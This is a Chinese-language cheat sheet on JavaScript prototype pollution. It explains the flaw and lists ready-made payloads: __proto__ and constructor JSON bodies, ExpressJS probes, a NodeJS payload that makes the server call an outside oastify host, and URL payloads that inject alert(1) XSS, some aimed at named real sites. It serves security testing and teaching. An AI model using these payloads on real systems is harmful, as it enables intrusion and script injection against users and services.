跳转至

原型链污染 (Prototype Pollution)

原型链污染 (Prototype Pollution) 是发生在 JavaScript 中的一种漏洞,当 Object.prototype 的属性被修改时就会触发。这具有极高的风险,因为 JavaScript 对象是动态的,我们可以随时为它们添加属性。此外,JavaScript 中几乎所有对象都继承自 Object.prototype,这使其成为了一个潜在的攻击向量。

摘要 (Summary)

相关工具 (Tools)

方法论 (Methodology)

在 JavaScript 中,原型(Prototype)允许对象从其他对象继承功能。如果攻击者能够添加或修改 Object.prototype 的属性,他们实际上可以影响所有继承自该原型的对象,从而可能导致各种安全风险。

var myDog = new Dog();
// 指向函数 "Dog"
myDog.constructor;
// 指向 "Dog" 的类定义
myDog.constructor.prototype;
myDog.__proto__;
myDog["__proto__"];

示例 (Examples)

  • 假设应用程序使用一个对象来维护配置设置,如下所示:

    let config = {
        isAdmin: false
    };
    
  • 攻击者可能能够向 Object.prototype 添加 isAdmin 属性,如下所示:

    Object.prototype.isAdmin = true;
    

手动测试 (Manual Testing)

  • ExpressJS:{ "__proto__":{"parameterLimit":1}} + 在 GET 请求中携带 2 个参数,其中至少 1 个必须在响应中反射。
  • ExpressJS:{ "__proto__":{"ignoreQueryPrefix":true}} + ??foo=bar
  • ExpressJS:{ "__proto__":{"allowDots":true}} + ?foo.bar=baz
  • 更改 JSON 响应的内边距:{ "__proto__":{"json spaces":" "}} + {"foo":"bar"},服务器应返回 {"foo": "bar"}
  • 修改 CORS 标头响应:{ "__proto__":{"exposedHeaders":["foo"]}},服务器应返回 Access-Control-Expose-Headers 标头。
  • 更改状态码:{ "__proto__":{"status":510}}

通过 JSON 输入触发原型链污染 (Prototype Pollution via JSON Input)

您可以通过魔术属性 __proto__ 访问任何对象的原型。 JavaScript 中的 JSON.parse() 函数用于解析 JSON 字符串并将其转换为 JavaScript 对象。通常,它是可能发生原型链污染的接收器 (Sink) 函数。

{
    "__proto__": {
        "evilProperty": "evilPayload"
    }
}

针对 NodeJS 的异步载荷:

{
  "__proto__": {
    "argv0":"node",
    "shell":"node",
    "NODE_OPTIONS":"--inspect=payload\"\".oastify\"\".com"
  }
}

改用 constructor 属性污染原型:

{
    "constructor": {
        "prototype": {
            "foo": "bar",
            "json spaces": 10
        }
    }
}

URL 中的原型链污染 (Prototype Pollution in URL)

野外发现的原型链污染载荷示例:

https://victim.com/#a=b&__proto__[admin]=1
https://example.com/#__proto__[xxx]=alert(1)
http://server/servicedesk/customer/user/signup?__proto__.preventDefault.__proto__.handleObj.__proto__.delegateTarget=%3Cimg/src/onerror=alert(1)%3E
https://www.apple.com/shop/buy-watch/apple-watch?__proto__[src]=image&__proto__[onerror]=alert(1)
https://www.apple.com/shop/buy-watch/apple-watch?a[constructor][prototype]=image&a[constructor][prototype][onerror]=alert(1)

原型链污染利用 (Prototype Pollution Exploitation)

根据原型链污染是在客户端 (CSPP) 还是服务端 (SSPP) 执行,其影响会有所不同:

原型链污染载荷 (Prototype Pollution Payloads)

Object.__proto__["evilProperty"]="evilPayload"
Object.__proto__.evilProperty="evilPayload"
Object.constructor.prototype.evilProperty="evilPayload"
Object.constructor["prototype"]["evilProperty"]="evilPayload"
{"__proto__": {"evilProperty": "evilPayload"}}
{"__proto__.name":"test"}
x[__proto__][abaeead] = abaeead
x.__proto__.edcbcab = edcbcab
__proto__[eedffcb] = eedffcb
__proto__.baaebfc = baaebfc
?__proto__[test]=test

原型链污染利用链 (Prototype Pollution Gadgets)

漏洞语境下的“利用链 (Gadget)”通常指一段可以被攻击者利用或杠杆化的代码或功能。当我们谈论“原型链污染 Gadget”时,我们指的是应用程序中一个特定的代码路径、函数或特性,它容易受到原型链污染攻击的影响或可以被其利用。

您可以利用 yeswehack/pp-finder 通过部分源码创建自己的 Gadget,或者尝试使用已发现的 Gadget:yuske/server-side-prototype-pollution / BlackFan/client-side-prototype-pollution

在线靶场 (Labs)

参考资料 (References)